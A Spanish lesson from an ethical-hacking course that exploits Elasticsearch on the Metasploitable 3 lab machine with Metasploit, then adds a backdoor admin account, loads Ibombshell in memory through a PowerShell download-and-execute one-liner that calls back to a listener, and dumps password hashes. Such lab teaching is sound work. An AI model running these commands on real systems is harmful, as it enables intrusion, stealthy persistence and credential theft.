Explotación de Vulnerabilidades con Elasticsearch y Ibombshell

Clase 21 de 35Curso de Hacking Ético

Para esta práctica se aprovechará la vulnerabilidad de elasticsearch en Metasploitable 3. Para esto iniciamos msfconsole y seleccionar el exploit a utilizar con el comando use de la herrramienta: Use exploit/multi/elasticsearch/script_mvel_rce Captura de Pantalla 2019-04-29 a la(s) 17.57.27.png

Nota: es importante agregar el RHOST que será el equipo objetivo. Nos devolverá una Shell Meterpreter. Captura de Pantalla 2019-04-29 a la(s) 17.58.07.png

Con el comando pwd mostrará la dirección donde te encuentras. Captura de Pantalla 2019-04-29 a la(s) 17.58.21.png

Para obtener el número de proceso mediante getpid. Captura de Pantalla 2019-04-29 a la(s) 17.58.38.png

El usuario se obtiene con: Captura de Pantalla 2019-04-29 a la(s) 17.59.00.png

Para conocer mayores detalles del sistema operativo Captura de Pantalla 2019-04-29 a la(s) 17.59.10.png

Con el comando ps se mostrarán los procesos corriendo dentro del sistema. Captura de Pantalla 2019-04-29 a la(s) 17.59.22.png

Conocer su tabla ARP ayudará determinar rápidamente equipos dentro de la red. Captura de Pantalla 2019-04-29 a la(s) 17.59.36.png

Obteniendo una Shell del sistema y utilizando escritorio remoto Se ejecuta el comando Shell. Captura de Pantalla 2019-04-29 a la(s) 17.59.47.png

Obteniendo los usuarios. Captura de Pantalla 2019-04-29 a la(s) 17.59.58.png

Agregar un usuario de nombre pedro y el password pedro1234 Captura de Pantalla 2019-04-29 a la(s) 18.00.13.png

Después agregarlo al grupo de administradores con el comando: Captura de Pantalla 2019-04-29 a la(s) 18.00.20.png

En otra terminal se ejecuta el comando: Captura de Pantalla 2019-04-29 a la(s) 18.00.30.png

Hasta aquí todo bien, pero el tener un usuario extra es muy evidente y el administrador de sistemas puede sospechar rápidamente. Por lo cual se hará uso de la herramienta Ibombshell la cual está escrita en Powershell que permite rápidamente obtener funcionalidades post-exploit en cualquier instante y sistema operativo a través de un repositorio de Github. Es una shell remota que se carga directamente en memoria sin ser almacenado en disco, por lo cual se dejan menos rastros y proporciona acceso a una gran cantidad de características de pentesting. Captura de Pantalla 2019-04-29 a la(s) 18.00.43.png

Jugando con IbombShell En el equipo donde se encuentra Kali Linux se descarga el repositorio de “ibombshell” en el siguiente enlace. https://github.com/ElevenPaths/ibombshell

Se extrae la carpeta en el directorio de su elección para este ejercicio en la carpeta descargas. https://github.com/ElevenPaths/ibombshell/archive/master.zip

Para descomprimir con el comando unzip ibombshell-master.zip Captura de Pantalla 2019-04-29 a la(s) 18.00.54.png

Se ingresa a la carpeta ibombshell-master/ibomshell c2 Captura de Pantalla 2019-04-29 a la(s) 18.01.05.png

Ejecutar el comando pip install -r requirements.txt para instalar. Captura de Pantalla 2019-04-29 a la(s) 18.01.12.png

Para iniciar e ingresa pyhton3 ibombshell.py, con lo cual aparecerá la siguiente pantalla una vez terminada la carga. Captura de Pantalla 2019-04-29 a la(s) 18.01.36.png

Se crea un listener, para esto es necesario cargar el módulo. load modules/listener.py Captura de Pantalla 2019-04-29 a la(s) 18.01.51.png

Para ver las opciones que presenta el módulo se ejecuta el comando “show” Captura de Pantalla 2019-04-29 a la(s) 18.02.04.png

Se puede utilizar los parámetros por defecto, pero si el puerto de escucha se encuentra ocupado pueden utilizar otro sin problema. Para iniciar el módulo con el comando “run”, quedando a la escucha en espera de una conexión. Captura de Pantalla 2019-04-29 a la(s) 18.02.19.png

Para realizar una conexión, en el equipo donde se encuentra instalado Metaploitable 3 se inicia escritorio remoto y con el usuario previamente creado: Usuario: pedro Password: pedro1234 Captura de Pantalla 2019-04-29 a la(s) 18.02.39.png

Se prosigue a abrir Powershell y se ejecuta el siguiente comando para obtener una consola de Ibombshell. iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’) Captura de Pantalla 2019-04-29 a la(s) 18.02.49.png

Para obtener una consola que se comunique con nuestro equipo se ejecuta el comando: console -Silently -uriConsole http://192.168.2.5:8080 Captura de Pantalla 2019-04-29 a la(s) 18.03.00.png

Al ejecutar el comando anterior, se mostrará en nuestro módulo de Ibombshell un nuevo warrior (Equipo conectado). Captura de Pantalla 2019-04-29 a la(s) 18.03.09.png

Para ver el listado de los warrios se ejecuta el comando: Warrior list Captura de Pantalla 2019-04-29 a la(s) 18.03.15.png

Se configura el módulo para establecer la comunicación. Captura de Pantalla 2019-04-29 a la(s) 18.03.24.png

Después se selecciona el warrior Captura de Pantalla 2019-04-29 a la(s) 18.03.33.png

Se manda una instrucción en este caso “whoami” Captura de Pantalla 2019-04-29 a la(s) 18.03.40.png

Con el comando run se mostrará el resultado Captura de Pantalla 2019-04-29 a la(s) 18.03.52.png

Para obtener las credenciales del equipo basta con carga el módulo: Load modules/credentials/invoke-powerdump.py Captura de Pantalla 2019-04-29 a la(s) 18.04.01.png

Se establece el warrior que sigue siendo el mismo. Captura de Pantalla 2019-04-29 a la(s) 18.04.07.png

Se ejecuta con el comando “Run” y se obtienen los usuarios junto con los hashes de las contraseñas. Captura de Pantalla 2019-04-29 a la(s) 18.04.15.png

Entre otras cosas interesante que permite Ibombshell es desactivar el análisis en tiempo real de Windows Defender, bypass de UAC, obtener llaves SSH y realizar movimientos laterales. Como pueden observar una herramienta muy interesante que debemos añadir en nuestro arsenal.

Repo GitHub : https://github.com/ElevenPaths/ibombshell